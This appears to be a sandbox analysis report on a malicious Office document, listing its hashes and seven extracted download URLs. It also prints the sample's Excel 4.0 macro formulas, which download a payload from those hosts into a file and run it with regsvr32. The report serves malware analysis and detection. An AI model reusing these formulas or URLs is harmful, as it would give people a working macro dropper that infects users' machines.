General
-
Target
0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9
-
Size
44KB
-
MD5
3dc24670b45aa94955797797e2870f88
-
SHA1
d77961c13b839b8bf751f814a54523bcccfa6b5b
-
SHA256
0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9
-
SHA512
6a26d6c7ab247d39de7270075cb49f72d5a90edfccb540c1b52edb90627ed30f560b5653772be7bced8c9c429caf868c2e037b9a84a70da64bd4c7bb86f0f59d
-
SSDEEP
768:i1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:iKItBvGazLRYIzhqOisNz8OP6Tein0Vo
Malware Config
Extracted
http://www.agretto.com/Template/ziasuz5w8pS08Gm2/
http://www.agnesleung.com/raw.backup/j4ry/
https://lifebotl.com/Response/WllkQWM/
https://livejagat.com/h/SjpRvD/
http://185.187.70.35/wordpress_bo/srvoaI2MBFc/
http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/
http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9